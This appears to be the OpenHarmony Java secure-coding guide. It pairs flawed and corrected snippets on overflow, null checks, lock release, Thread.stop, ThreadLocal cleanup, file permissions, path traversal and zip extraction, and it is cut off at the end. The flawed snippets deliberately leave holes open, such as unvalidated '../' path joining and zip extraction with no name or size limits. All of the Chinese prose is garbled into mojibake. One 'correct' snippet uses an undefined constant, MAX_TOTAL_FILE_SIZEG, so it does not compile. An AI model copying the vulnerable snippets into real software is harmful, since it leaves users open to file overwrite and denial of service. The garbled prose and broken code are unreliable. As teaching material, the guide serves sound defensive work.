# OpenHarmony Java å®‰å…¨ç¼–ç¨‹æŒ‡å— æœ¬æ–‡æ¡£åŸºäºŽJava è¯è¨€æ供一些安全编程建议,用于指导开å‘实践。 # æ•°æ®ç±»åž‹ ## 进行数值è¿ç®—时,é¿å…整数溢出 **ã€æ述】** 在进行数值è¿ç®—过程ä¸ï¼Œç¡®ä¿è¿ç®—结果在特定的整数类型的数æ®èŒƒå›´å†…,é¿å…溢出,导致éžé¢„期的结果。 内置的整数è¿ç®—符ä¸ä¼šä»¥ä»»ä½•æ–¹å¼æ¥æ ‡è¯†è¿ç®—结果的上溢或下溢。常è§çš„åŠ ã€å‡ã€ä¹˜ã€é™¤éƒ½å¯èƒ½ä¼šå¯¼è‡´æ•´æ•°æº¢å‡ºã€‚å¦å¤–,Javaæ•°æ®ç±»åž‹çš„åˆæ³•å–值范围是ä¸å¯¹ç§°çš„(最å°å€¼çš„ç»å¯¹å€¼æ¯”最大值大1),所以对最å°å€¼å–ç»å¯¹å€¼ï¼ˆ`java.lang.Math.abs()`)时,也会导致溢出。 对于整数溢出问题,å¯ä»¥é€šè¿‡å…ˆå†³æ¡ä»¶æ£€æµ‹ã€ä½¿ç”¨Math类的安全方法ã€å‘上类型转æ¢æˆ–者使用`BigInteger`ç‰æ–¹æ³•è¿›è¡Œè§„é¿ã€‚ **ã€å例】** ```java public static int multNum(int num1, int num2) { return num1 * num2; } ``` 上述示例ä¸ï¼Œå½“num1å’Œnum2çš„ç»å¯¹å€¼è¾ƒå¤§ï¼Œä¸¤è€…的乘积大于`Integer.MAX_VALUE`或å°äºŽ`Integer.MIN_VALUE`æ—¶ï¼Œæ–¹æ³•å°±æ— æ³•è¿”å›žæ£ç¡®çš„计算结果(产生溢出)。 **ã€æ£ä¾‹ã€‘** ```java public static int multNum(int num1, int num2) { return Math.multiplyExact(num1, num2); } ``` 上述示例ä¸ï¼Œå½“æ— æ³•é¢„åˆ¤ä¹˜ç§¯ç»“æžœæ˜¯å¦ä¼šäº§ç”Ÿæº¢å‡ºæ—¶ï¼Œä½¿ç”¨äº†Java 8新增的`Math.multiplyExact()`方法,该方法在乘积è¿ç®—ä¸äº§ç”Ÿæº¢å‡ºæ—¶ä¼šè¿”回è¿ç®—结果,溢出时抛出`ArithmeticException`。 ## ç¡®ä¿é™¤æ³•è¿ç®—和模è¿ç®—ä¸çš„除数ä¸ä¸º0 **ã€æ述】** 如果除法或模è¿ç®—ä¸çš„除数为零å¯èƒ½ä¼šå¯¼è‡´ç¨‹åºç»ˆæ¢æˆ–æ‹’ç»æœåŠ¡ï¼ˆDoSï¼‰ï¼Œå› æ¤éœ€è¦åœ¨è¿ç®—å‰ä¿è¯é™¤æ•°ä¸ä¸º0。 **ã€å例】** ```java long dividendNum = 0; long divisorNum = 0; long result1 = dividendNum / divisorNum; long result2 = dividendNum % divisorNum; ``` 上述示例ä¸ï¼Œæ²¡æœ‰å¯¹é™¤æ•°è¿›è¡Œéžé›¶åˆ¤æ–,会导致程åºè¿è¡Œé”™è¯¯ã€‚ **ã€æ£ä¾‹ã€‘** ```java long dividendNum = 0; long divisorNum = 0; if (divisorNum != 0) { long result1 = dividendNum / divisorNum; long result2 = dividendNum % divisorNum; } ``` 上述示例ä¸ï¼Œå¯¹é™¤æ•°è¿›è¡Œéžé›¶åˆ¤æ–,然åŽå†è¿›è¡Œé™¤æ³•æˆ–å–ä½™è¿ç®—。 # è¡¨è¾¾å¼ ## ç¦æ¢ç›´æŽ¥ä½¿ç”¨å¯èƒ½ä¸ºnull的对象,防æ¢å‡ºçŽ°ç©ºæŒ‡é’ˆå¼•ç”¨ **ã€æ述】** 访问一个为null的对象时,会导致空引用问题,代ç ä¸æŠ›å‡º`NullPointerException`。该类问题应该通过预检查的方å¼è¿›è¡Œæ¶ˆè§£ï¼Œè€Œä¸æ˜¯é€šè¿‡`try...catch`机制处ç†`NullPointerException`。 **ã€å例】** ```java String env = System.getenv(SOME_ENV); if (env.length() > MAX_LENGTH) { ... } ``` 上述示例ä¸ï¼Œ`System.getenv()`返回值å¯èƒ½ä¸ºnull,代ç ä¸åœ¨ä½¿ç”¨å˜é‡`env`å‰æœªåˆ¤ç©ºï¼Œä¼šå‘生空指针引用。 **ã€æ£ä¾‹ã€‘** ```java String env = System.getenv(SOME_ENV); if (env != null && env.length() > MAX_LENGTH) { ... } ``` 上述示例ä¸ï¼Œå¯¹`System.getenv()`返回值先判空å†ä½¿ç”¨ï¼Œæ¶ˆé™¤äº†ç©ºæŒ‡é’ˆå¼•ç”¨é—®é¢˜ã€‚ # 并å‘与多线程 ## 在异常æ¡ä»¶ä¸‹ï¼Œä¿è¯é‡Šæ”¾å·²æŒæœ‰çš„é” **ã€æ述】** 一个线程ä¸æ²¡æœ‰æ£ç¡®é‡Šæ”¾æŒæœ‰çš„é”ä¼šå¯¼è‡´å…¶ä»–çº¿ç¨‹æ— æ³•èŽ·å–该é”对象,导致阻塞。在å‘生异常时,需è¦ç¡®ä¿ç¨‹åºæ£ç¡®é‡Šæ”¾å½“å‰æŒæœ‰çš„é”。在异常æ¡ä»¶ä¸‹ï¼ŒåŒæ¥æ–¹æ³•æˆ–者å—åŒæ¥ä¸ä½¿ç”¨çš„对象内置é”会自动释放。但是大多数的Javaé”对象并ä¸æ˜¯Closeableï¼Œæ— æ³•ä½¿ç”¨try-with-resources功能自动释放,在这ç§æƒ…况下需è¦ä¸»åŠ¨é‡Šæ”¾é”。 **ã€å例】**(å¯æ£€æŸ¥å¼‚常) ```java public final class Foo { private final Lock lock = new ReentrantLock(); public void incorrectReleaseLock() { try { lock.lock(); doSomething(); lock.unlock(); } catch (MyBizException ex) { // 处ç†å¼‚常 } } private void doSomething() throws MyBizException { ... } } ``` 上述代ç 示例ä¸ï¼Œä½¿ç”¨äº†`ReentrantLock`é”,当`doSomething()`方法抛出异常时,catch代ç å—ä¸æ²¡æœ‰é‡Šæ”¾é”æ“作,导致é”没有释放。 **ã€æ£ä¾‹ã€‘**(finally代ç å—) ```java public final class Foo { private final Lock lock = new ReentrantLock(); public void correctReleaseLock() { lock.lock(); try { doSomething(); } catch (MyBizException ex) { // 处ç†å¼‚常 } finally { lock.unlock(); } } private void doSomething() throws MyBizException { ... } } ``` 上述代ç 示例ä¸ï¼ŒæˆåŠŸæ‰§è¡Œé”定æ“作åŽï¼Œå°†å¯èƒ½æŠ›å‡ºå¼‚常的æ“作å°è£…在try代ç å—ä¸ã€‚é”在执行try代ç å—å‰èŽ·å–,å¯ä¿è¯åœ¨æ‰§è¡Œfinally代ç æ—¶æ£ç¡®æŒæœ‰é”。在finally代ç å—ä¸è°ƒç”¨`lock.unlock()`,å¯ä»¥ä¿è¯ä¸ç®¡æ˜¯å¦å‘生异常都å¯ä»¥é‡Šæ”¾é”。 **ã€å例】**(未检查异常) ```java final class Foo { private final Lock lock = new ReentrantLock(); public void incorrectReleaseLock(String value) { lock.lock(); ... int index = Integer.parseInt(value); ... lock.unlock(); } } ``` 上述代ç 示例ä¸ï¼Œå½“`incorrectReleaseLock()`æ–¹æ³•ä¼ å…¥çš„Stringä¸æ˜¯æ•°å—时,åŽç»çš„æ“作会抛出`NumberFormatException`,导致é”未被æ£ç¡®é‡Šæ”¾ã€‚ **ã€æ£ä¾‹ã€‘**(finally代ç å—) ```java final class Foo { private final Lock lock = new ReentrantLock(); public void correctReleaseLock(String value) { lock.lock(); try { ... int index = Integer.parseInt(value); ... } finally { lock.unlock(); } } } ``` 上述代ç 示例ä¸ï¼ŒæˆåŠŸæ‰§è¡Œé”定æ“作åŽï¼Œå°†å¯èƒ½æŠ›å‡ºå¼‚常的æ“作å°è£…在try代ç å—ä¸ã€‚é”在执行try代ç å—å‰èŽ·å–,å¯ä¿è¯åœ¨æ‰§è¡Œfinally代ç æ—¶æ£ç¡®æŒæœ‰é”。在finally代ç å—ä¸è°ƒç”¨`lock.unlock()`,å¯ä»¥ä¿è¯ä¸ç®¡æ˜¯å¦å‘生异常都å¯ä»¥é‡Šæ”¾é”。 ## ç¦æ¢ä½¿ç”¨Thread.stop()æ¥ç»ˆæ¢çº¿ç¨‹ **ã€æ述】** 线程在æ£å¸¸é€€å‡ºæ—¶ï¼Œä¼šç»´æŒç±»çš„ä¸å˜æ€§ã€‚æŸäº›çº¿ç¨‹API最åˆæ˜¯ç”¨æ¥å¸®åŠ©çº¿ç¨‹çš„æš‚åœã€æ¢å¤å’Œç»ˆæ¢ï¼Œä½†éšåŽå› 为设计上的缺陷而被废弃。例如,`Thread.stop()`方法会导致线程立å³æŠ›å‡ºä¸€ä¸ª`ThreadDeath`异常,这通常会åœæ¢çº¿ç¨‹ã€‚调用`Thread.stop()`ä¼šé€ æˆä¸€ä¸ªçº¿ç¨‹éžæ£å¸¸é‡Šæ”¾å®ƒæ‰€èŽ·å¾—的所有é”,å¯èƒ½ä¼šæš´éœ²è¿™äº›é”ä¿æŠ¤çš„对象,使这些对象处于一个ä¸ä¸€è‡´çš„状æ€ä¸ã€‚ **ã€å例】**(使用废弃的Thread.stop()) ```java public final class Foo implements Runnable { private final Vector<Integer> vector = new Vector<Integer>(1000); public Vector<Integer> getVector() { return vector; } @Override public synchronized void run() { Random number = new Random(123L); int i = vector.capacity(); while (i > 0) { vector.add(number.nextInt(100)); i--; } } public static void main(String[] args) throws InterruptedException { Thread thread = new Thread(new Foo()); thread.start(); Thread.sleep(5000); thread.stop(); } } ``` 上述示例ä¸ï¼Œä¸€ä¸ªçº¿ç¨‹å°†ä¼ªéšæœºæ•°å†™å…¥ä¸€ä¸ªvectorä¸ï¼Œåœ¨ç»è¿‡æŒ‡å®šæ—¶é—´åŽï¼Œçº¿ç¨‹è¢«å¼ºè¿«ç»ˆæ¢ã€‚å› ä¸ºVector是线程安全的,所以多个线程对共享实例进行的æ“作是ä¸ä¼šè®©å…¶å¤„于一个ä¸ä¸€è‡´çš„状æ€ã€‚例如,`Vector.size()`方法总是能返回vectorä¸çš„å…ƒç´ çš„æ£ç¡®æ•°ç›®ã€‚Vector实例是使用自身的éšå¼é”æ¥ä¿æŒåŒæ¥ã€‚而`Thread.stop()`方法会导致线程åœæ¢åœ¨æ£åœ¨è¿›è¡Œçš„æ“作并抛出`ThreadDeath`异常,所有获得的é”ä¼šè¢«é‡Šæ”¾ï¼Œå¦‚æžœçº¿ç¨‹æ˜¯åœ¨åŠ å…¥ä¸€ä¸ªæ–°æ•´æ•°åˆ°vector时被åœæ¢çš„,就å¯èƒ½å¯¼è‡´å¤„于ä¸ä¸€è‡´çŠ¶æ€çš„vectorï¼Œå¦‚å› ä¸ºå…ƒç´ æ•°ç›®æ˜¯åœ¨æ·»åŠ ä¸€ä¸ªå…ƒç´ åŽå¢žåŠ 的,å¯èƒ½ä¼šå¯¼è‡´`Vector.size()`è¿”å›žçš„æ˜¯é”™è¯¯çš„å…ƒç´ æ•°ç›®ã€‚ **ã€æ£ä¾‹ã€‘**(设置线程结æŸæ ‡å¿—) ```java public final class Foo implements Runnable { private final Vector<Integer> vector = new Vector<Integer>(1000); private boolean done = false; public Vector<Integer> getVector() { return vector; } public void shutdown() { done = true; } @Override public synchronized void run() { Random number = new Random(123L); int i = vector.capacity(); while (!done && i > 0) { vector.add(number.nextInt(100)); i--; } } public static void main(String[] args) throws InterruptedException { Foo foo = new Foo(); Thread thread = new Thread(foo); thread.start(); Thread.sleep(5000); foo.shutdown(); } } ``` 上述示例ä¸ï¼Œä½¿ç”¨ä¸€ä¸ªæ ‡å¿—æ¥è¯·æ±‚线程终æ¢ã€‚`shutdown()`æ–¹æ³•è®¾ç½®è¿™ä¸ªæ ‡å¿—ä¸ºtrue,线程的`run()`æ–¹æ³•æŸ¥è¯¢è¯¥æ ‡å¿—ä¸ºtrue时终æ¢æ‰§è¡Œã€‚ **ã€æ£ä¾‹ã€‘**(å¯ä¸æ–) ```java public final class Foo implements Runnable { private final Vector<Integer> vector = new Vector<Integer>(1000); public Vector<Integer> getVector() { return vector; } @Override public synchronized void run() { Random number = new Random(123L); int i = vector.capacity(); while (!Thread.interrupted() && i > 0) { vector.add(number.nextInt(100)); i--; } } public static void main(String[] args) throws InterruptedException { Foo foo = new Foo(); Thread thread = new Thread(foo); thread.start(); Thread.sleep(5000); thread.interrupt(); } } ``` 上述示例ä¸ï¼Œè°ƒç”¨`Thread.interrupt()`方法æ¥ç»ˆæ¢çº¿ç¨‹ã€‚调用`Thread.interrupt()`方法设置了一个内部的ä¸æ–æ ‡å¿—ã€‚çº¿ç¨‹å¯ä»¥é€šè¿‡`Thread.interrupted()`方法æ¥æ£€æŸ¥è¯¥æ ‡å¿—,该方法会在当å‰çº¿ç¨‹è¢«ä¸æ–时返回true,并会清除该ä¸æ–æ ‡å¿—ã€‚ ## çº¿ç¨‹æ± ä¸çš„线程结æŸåŽå¿…须清ç†è‡ªå®šä¹‰çš„ThreadLocalå˜é‡ **ã€æ述】** çº¿ç¨‹æ± æŠ€æœ¯é€šè¿‡é‡å¤ä½¿ç”¨çº¿ç¨‹ä»¥å‡å°‘线程创建开销。由于线程的å¤ç”¨ï¼Œå¯¼è‡´`ThreadLocal`å˜é‡çš„使用å˜åœ¨ä»¥ä¸‹ä¸¤ç±»é—®é¢˜ï¼š - è„æ•°æ®é—®é¢˜ï¼šå½“å‰ä»»åŠ¡æœªæ£ç¡®åˆå§‹åŒ–`ThreadLocal`å˜é‡ï¼Œå¯¼è‡´`ThreadLocal`å˜é‡æ˜¯ç”±è¯¥çº¿ç¨‹æ‰§è¡Œçš„其他任务设置的; - 内å˜æ³„露问题:`ThreadLocal`å˜é‡æœªä¸»åŠ¨é‡Šæ”¾ï¼Œå¯¼è‡´å†…å˜æ— 法被主动回收。 å› æ¤å¿…é¡»ä¿è¯çº¿ç¨‹æ± ä¸æ¯ä¸ªä»»åŠ¡ä½¿ç”¨çš„`ThreadLocal`å˜é‡åœ¨ä»»åŠ¡ç»“æŸåŽè¢«ä¸»åŠ¨æ¸…ç†ã€‚ **ã€æ£ä¾‹ã€‘** ```java public class TestThreadLocal { public static void main(String[] args) { ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(), Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy()); for (int i = 0; i < 20; i++) { pool.execute(new TestThreadLocalTask()); } } } class TestThreadLocalTask implements Runnable { private static ThreadLocal<Integer> localValue = new ThreadLocal<>(); @Override public void run() { localValue.set(STATE1); try { ... localValue.set(STATE3); ... } finally { localValue.remove(); // 需è¦æ‰§è¡Œremove方法清ç†çº¿ç¨‹å±€éƒ¨å˜é‡ï¼Œé¿å…内å˜æ³„露 } } } ``` # 输入输出 ## 在多用户系统ä¸åˆ›å»ºæ–‡ä»¶æ—¶æŒ‡å®šåˆé€‚çš„è®¿é—®è®¸å¯ **ã€æ述】** 多用户系统ä¸çš„文件通常归属于一个特定的用户,文件的属主能够指定系统ä¸å“ªäº›ç”¨æˆ·èƒ½å¤Ÿè®¿é—®è¯¥æ–‡ä»¶çš„内容。这些文件系统使用æƒé™å’Œè®¸å¯æ¨¡åž‹æ¥ä¿æŠ¤æ–‡ä»¶è®¿é—®ã€‚当一个文件被创建时,文件访问许å¯è§„定了哪些用户å¯ä»¥è®¿é—®æˆ–者æ“作这个文件。如果创建文件时没有对文件的访问许å¯åšè¶³å¤Ÿçš„é™åˆ¶ï¼Œæ”»å‡»è€…å¯èƒ½åœ¨ä¿®æ”¹æ¤æ–‡ä»¶çš„访问æƒé™ä¹‹å‰å¯¹å…¶è¿›è¡Œè¯»å–æˆ–è€…ä¿®æ”¹ã€‚å› æ¤ï¼Œä¸€å®šè¦åœ¨åˆ›å»ºæ–‡ä»¶æ—¶å°±ä¸ºå…¶æŒ‡å®šè®¿é—®è®¸å¯ï¼Œä»¥é˜²æ¢æœªæŽˆæƒçš„文件访问。 **ã€å例】** ```java Writer out = new FileWriter("file"); ``` `FileOutputStream`与`FileWriter`çš„æž„é€ æ–¹æ³•æ— æ³•è®©ç¨‹åºå‘˜æ˜¾å¼çš„指定文件的访问æƒé™ã€‚在这个示例ä¸ï¼Œæ‰€åˆ›å»ºæ–‡ä»¶çš„访问许å¯å–决于具体的实现机制,å¯èƒ½æ— 法防æ¢æœªæŽˆæƒçš„访问。 **ã€æ£ä¾‹ã€‘** ```java Path file = new File("file").toPath(); // 抛出异常而ä¸æ˜¯è¦†å†™å·²å˜åœ¨çš„文件 Set<OpenOption> options = new HashSet<OpenOption>(); options.add(StandardOpenOption.CREATE_NEW); options.add(StandardOpenOption.APPEND); // 文件æƒé™åº”设置为åªæœ‰å±žä¸»æ‰èƒ½è¯»å–/写入文件 Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------"); FileAttribute<Set<PosixFilePermission>> attr = PosixFilePermissions.asFileAttribute(perms); try (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) { ... // å†™æ•°æ® } ``` **ã€ä¾‹å¤–】** 如果文件是创建在一个安全目录ä¸ï¼Œè€Œä¸”该目录对于éžå—信用户是ä¸å¯è¯»çš„,那么å…许以默认许å¯åˆ›å»ºæ–‡ä»¶ã€‚例如,如果整个文件系统是å¯ä¿¡çš„或者åªæœ‰å¯ä¿¡ç”¨æˆ·å¯ä»¥è®¿é—®ï¼Œå°±å±žäºŽè¿™ç§æƒ…况。 ## 使用外部数æ®æž„é€ çš„æ–‡ä»¶è·¯å¾„å‰å¿…é¡»è¿›è¡Œæ ¡éªŒï¼Œæ ¡éªŒå‰å¿…é¡»å¯¹æ–‡ä»¶è·¯å¾„è¿›è¡Œè§„èŒƒåŒ–å¤„ç† **ã€æ述】** 文件路径æ¥è‡ªå¤–部数æ®æ—¶ï¼Œå¿…须对其åˆæ³•æ€§è¿›è¡Œæ ¡éªŒï¼Œå¦åˆ™å¯èƒ½ä¼šäº§ç”Ÿè·¯å¾„é历(Path Traversal)æ¼æ´žã€‚ 文件路径有多ç§è¡¨çŽ°å½¢å¼ï¼Œå¦‚ç»å¯¹è·¯å¾„ã€ç›¸å¯¹è·¯å¾„,路径ä¸å¯èƒ½ä¼šå«å„ç§é“¾æŽ¥ã€å¿«æ·æ–¹å¼ã€å½±å文件ç‰ï¼Œè¿™äº›éƒ½ä¼šå¯¹æ–‡ä»¶è·¯å¾„çš„æ ¡éªŒäº§ç”Ÿå½±å“ï¼Œæ‰€ä»¥åœ¨æ–‡ä»¶è·¯å¾„æ ¡éªŒå‰è¦å¯¹æ–‡ä»¶è·¯å¾„进行规范化处ç†ï¼Œä½¿ç”¨è§„èŒƒåŒ–çš„æ–‡ä»¶è·¯å¾„è¿›è¡Œæ ¡éªŒã€‚å¯¹æ–‡ä»¶è·¯å¾„çš„è§„èŒƒåŒ–å¤„ç†å¿…须使用`getCanonicalPath()`,ç¦æ¢ä½¿ç”¨`getAbsolutePath()`ï¼ˆè¯¥æ–¹æ³•æ— æ³•ä¿è¯åœ¨æ‰€æœ‰çš„å¹³å°ä¸Šå¯¹æ–‡ä»¶è·¯å¾„进行æ£ç¡®çš„规范化处ç†ï¼‰ã€‚ **ã€å例】** ```java public void doSomething() { File file = new File(HOME_PATH, fileName); String path = file.getPath(); if (!validatePath(path)) { throw new IllegalArgumentException("Path Traversal vulnerabilities may existï¼"); } ... // 对文件进行读写ç‰æ“作 } private boolean validatePath(String path) { if (path.startsWith(HOME_PATH)) { return true; } else { return false; } } ``` 上述代ç ä¸fileNameæ¥è‡ªå¤–部输入,直接用fileName的值与固定路径进行拼接,作为实际访问文件的路径,在访问文件之å‰é€šè¿‡`validatePath`检查了拼接的路径是å¦åœ¨å›ºå®šç›®å½•ä¸‹ï¼Œä½†æ˜¯æ”»å‡»è€…å¯ä»¥é€šè¿‡../è¿™æ ·çš„è·¯å¾„æ–¹å¼ï¼Œè®¿é—®HOME_PATH之外的任æ„文件。 **ã€æ£ä¾‹ã€‘**(getCanonicalPath()) ```java public void doSomething() { File file = new File(HOME_PATH, fileName); try { String canonicalPath = file.getCanonicalPath(); if (!validatePath(canonicalPath)) { throw new IllegalArgumentException("Path Traversal vulnerability!"); } ... // 对文件进行读写ç‰æ“作 } catch (IOException ex) { throw new IllegalArgumentException("An exception occurred ...", ex); } } private boolean validatePath(String path) { if (path.startsWith(HOME_PATH)) { return true; } else { return false; } } ``` 上述代ç 示例ä¸ï¼Œä½¿ç”¨å¤–部输入的fileNameæž„é€ æ–‡ä»¶è·¯å¾„åŽï¼Œå…ˆå¯¹æ–‡ä»¶è·¯å¾„进行规范化,然åŽç”¨è§„èŒƒåŒ–çš„æ–‡ä»¶è·¯å¾„è¿›è¡Œæ ¡éªŒï¼Œæ»¡è¶³æ¡ä»¶åŽæ‰§è¡Œæ–‡ä»¶è¯»å†™æ“ä½œã€‚è¿™æ ·å¯ä»¥æœ‰æ•ˆé¿å…路径é历之类的风险。 ## 从ZipInputStreamä¸è§£åŽ‹æ–‡ä»¶å¿…须进行安全检查 **ã€æ述】** 使用`java.util.zip.ZipInputStream`解压文件时,有两个问题需è¦æ³¨æ„: **1. è§£åŽ‹å‡ºçš„æ–‡ä»¶åœ¨è§£åŽ‹ç›®æ ‡ç›®å½•ä¹‹å¤–** 解压zip文件时è¦æ ¡éªŒå„解压文件的åå—,如果文件å包å«../ä¼šå¯¼è‡´è§£åŽ‹æ–‡ä»¶è¢«é‡Šæ”¾åˆ°ç›®æ ‡ç›®å½•ä¹‹å¤–çš„ç›®å½•ã€‚å› æ¤ï¼Œä»»ä½•è¢«è§£åŽ‹æ–‡ä»¶çš„ç›®æ ‡è·¯å¾„ä¸åœ¨é¢„期目录之内时,è¦ä¹ˆæ‹’ç»å°†å…¶è§£åŽ‹å‡ºæ¥ï¼Œè¦ä¹ˆå°†å…¶è§£åŽ‹åˆ°ä¸€ä¸ªå®‰å…¨çš„ä½ç½®ã€‚ **2. 解压的文件消耗过多的系统资æº** 解压zip时,ä¸ä»…è¦å¯¹è§£åŽ‹ä¹‹åŽçš„文件数é‡è¿›è¡Œé™åˆ¶ï¼Œè¿˜è¦å¯¹è§£åŽ‹ä¹‹åŽçš„文件大å°è¿›è¡Œé™åˆ¶ã€‚zip压缩算法å¯èƒ½æœ‰å¾ˆå¤§çš„压缩比,å¯ä»¥æŠŠè¶…大文件压缩æˆå¾ˆå°çš„zip文件。zip文件解压时,如果ä¸å¯¹è§£åŽ‹åŽçš„文件的实际大å°è¿›è¡Œæ£€æŸ¥ï¼Œåˆ™å¯èƒ½ä¼šä½¿è§£åŽ‹åŽçš„文件å 用大é‡ç³»ç»Ÿèµ„æºï¼Œå¯¼è‡´zip炸弹(zip bombï¼‰æ”»å‡»ã€‚å› æ¤ï¼ŒZip文件解压时,若解压之åŽçš„文件大å°è¶…过一定的é™åˆ¶ï¼Œå¿…须拒ç»å°†å…¶è§£åŽ‹ã€‚具体大å°é™åˆ¶ç”±å¹³å°çš„处ç†æ€§èƒ½æ¥å†³å®šã€‚ **ã€å例】** ```java public void unzip(String fileName, String dir) throws IOException { try (FileInputStream fis = new FileInputStream(fileName); ZipInputStream zis = new ZipInputStream(fis)) { ZipEntry entry; File tempFile; byte[] buf = new byte[10240]; int length; while ((entry = zis.getNextEntry()) != null) { tempFile = new File(dir, entry.getName()); if (entry.isDirectory()) { tempFile.mkdirs(); continue; } try (FileOutputStream fos = new FileOutputStream(tempFile)) { while ((length = zis.read(buf)) != -1) { fos.write(buf, 0, length); } } } } } ``` 上述示例ä¸ï¼Œæœªå¯¹è§£åŽ‹çš„文件ååšéªŒè¯ï¼Œç›´æŽ¥å°†æ–‡ä»¶åä¼ é€’ç»™`FileOutputStream`æž„é€ å™¨ã€‚ä¹Ÿæœªæ£€æŸ¥è§£åŽ‹æ–‡ä»¶çš„èµ„æºæ¶ˆè€—情况,å…许程åºè¿è¡Œåˆ°æ“作完æˆæˆ–者本地资æºè¢«è€—尽。 **ã€æ£ä¾‹ã€‘** ```java private static final long MAX_FILE_COUNT = 100L; private static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L; ... public void unzip(FileInputStream zipFileInputStream, String dir) throws IOException { long fileCount = 0; long totalFileSize = 0; try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) { ZipEntry entry; String entryName; String entryFilePath; File entryFile; byte[] buf = new byte[10240]; int length; while ((entry = zis.getNextEntry()) != null) { entryName = entry.getName(); entryFilePath = sanitizeFileName(entryName, dir); entryFile = new File(entryFilePath); if (entry.isDirectory()) { creatDir(entryFile); continue; } fileCount++; if (fileCount > MAX_FILE_COUNT) { throw new IOException("The ZIP package contains too many files."); } try (FileOutputStream fos = new FileOutputStream(entryFile)) { while ((length = zis.read(buf)) != -1) { totalFileSize += length; zipBombCheck(totalFileSize); fos.write(buf, 0, length); } } } } } private String sanitizeFileName(String fileName, String dir) throws IOException { File file = new File(dir, fileName); String canonicalPath = file.getCanonicalPath(); if (canonicalPath.startsWith(dir)) { return canonicalPath; } throw new IOException("Path Traversal vulnerability: ..."); } private void creatDir(File dirPath) throws IOException { boolean result = dirPath.mkdirs(); if (!result) { throw new IOException("Create dir failed, path is : " + dirPath.getPath()); } ... } private void zipBombCheck(long totalFileSize) throws IOException { if (totalFileSize > MAX_TOTAL_FILE_SIZEG) { throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large."); } } ``` 上述示例ä¸ï¼Œåœ¨è§£åŽ‹æ¯ä¸ªæ–‡ä»¶ä¹‹å‰å¯¹å…¶æ–‡ä»¶åè¿›è¡Œæ ¡éªŒï¼Œå¦‚æžœæ ¡éªŒå¤±è´¥ï¼Œæ•´ä¸ªè§£åŽ‹è¿‡ç¨‹ä¼šè¢«ç»ˆæ¢ã€‚实际上也å¯ä»¥å¿½ç•¥è·³è¿‡è¿™ä¸ªæ–‡ä»¶ï¼Œç»§ç»åŽé¢çš„解压过程,甚至å¯ä»¥å°†è¿™ä¸ªæ–‡ä»¶è§£åŽ‹åˆ°æŸä¸ªå®‰å…¨ä½ç½®ã€‚解压缩过程ä¸ï¼Œåœ¨while循环ä¸è¾¹è¯»è¾¹ç»Ÿè®¡å®žé™…解压出的文件总大å°ï¼Œå¦‚果达到指定的阈值(MAX_TOTAL_FILE_SIZE),会抛出异常终æ¢è§£åŽ‹æ“作;åŒæ—¶ï¼Œä¼šç»Ÿè®¡è§£åŽ‹å‡ºæ¥çš„文件的数é‡ï¼Œå¦‚果达到指定阈值(MAX_FILE_COUNT),会抛出异常终æ¢è§£åŽ‹æ“作。 说明:在统计解压文件的大å°æ—¶ï¼Œä¸åº”该使用`entry.getSize()`æ¥ç»Ÿè®¡æ–‡ä»¶å¤§å°ï¼Œ`entry.getSize()`是从zip文件ä¸çš„固定å—段ä¸è¯»å–å•ä¸ªæ–‡ä»¶åŽ‹ç¼©å‰çš„大å°ï¼Œæ–‡ä»¶åŽ‹ç¼©å‰çš„大å°å¯è¢«æ¶æ„篡改。 ## 对于从æµä¸è¯»å–一个å—符或å—节的方法,使用int类型的返回值 **ã€æ述】** Javaä¸`InputStream.read()`å’Œ`Reader.read()`方法用于从æµä¸è¯»å–一个å—节(byte)或å—符(char)。 `InputStream.read()`读å–一个å—节,返回值的范围为0x00-0xFF(补ç ),8ä½ï¼›`Reader.read()`读å–一个å—符,返回值的范围为0x0000-0xFFFF(补ç ),16ä½ã€‚ 当读å–到æµçš„末尾时,以上方法å‡è¿”回int类型的-1(补ç 表示为0xFFFFFFFF),32ä½ã€‚ å› æ¤ï¼Œå¦‚果在未判æ–返回值是å¦æ˜¯æµæœ«å°¾æ ‡å¿—-1(补ç 表示为0xFFFFFFFF)å‰å°†è¿”回值转为byte或charï¼Œä¼šå¯¼è‡´æ— æ³•æ£ç¡®åˆ¤æ–返回值是æµä¸çš„内容还是结æŸæ ‡è¯†ã€‚ **ã€å例】**(å—节) ```java FileInputStream in = getReadableStream(); byte data; while ((data = (byte) in.read()) != -1) { // 使用data ... } ``` 上述代ç ä¸ï¼Œå°†`read()`方法返回的值直接转æ¢ä¸ºbyte类型,并将转æ¢åŽçš„结果与-1进行比较,进而判æ–是å¦è¾¾åˆ°æµçš„末尾。如果`read()`返回值为0xFF,0xFF转为有符å·byteå³ä¸ºbyte类型-1,循环结æŸæ¡ä»¶åˆ¤æ–通过,结果就是错误的以为æµç»“æŸäº†ã€‚ **ã€å例】**(å—符) ```java InputStreamReader in = getReader(); char data; while ((data = (char) in.read()) != -1) { // 使用data ... } ``` 上述代ç ä¸ï¼Œå°†`read()`方法返回的值直接转æ¢ä¸ºchar类型,并将转æ¢åŽçš„结果与-1进行比较,进而判æ–是å¦è¾¾åˆ°æµçš„末尾。当读å–æµç»“æŸåŽï¼Œè¿”回值转为char类型åŽä¹Ÿä¸ä¸º-1ï¼Œå› æ¤å³ä½¿æµè¯»å–结æŸï¼Œwhile循环ä»æ— 法æ£ç¡®ç»ˆæ¢ã€‚ åŽŸå› æ˜¯æµç»“æŸæ ‡å¿—-1(补ç 表示为0xFFFFFFFF)被强转为char类型时,会被转为0xFFFF,å†å’Œ-1进行比较时ç‰å¼ä¸æˆç«‹ï¼Œå¯¼è‡´å¾ªçŽ¯ç»“æŸæ¡ä»¶æ°¸å‡ã€‚ **ã€æ£ä¾‹ã€‘**(å—节) ```java FileInputStream in = getReadableStream(); byte data; int result; while ((result = in.read()) != -1) { data = (byte) result; // 使用data ... } ``` **ã€æ£ä¾‹ã€‘**(å—符) ```java InputStreamReader in = getReader(); char data; int result; while ((result = in.read()) != -1) { data = (char) result; // 使用data ... } ``` 上述代ç 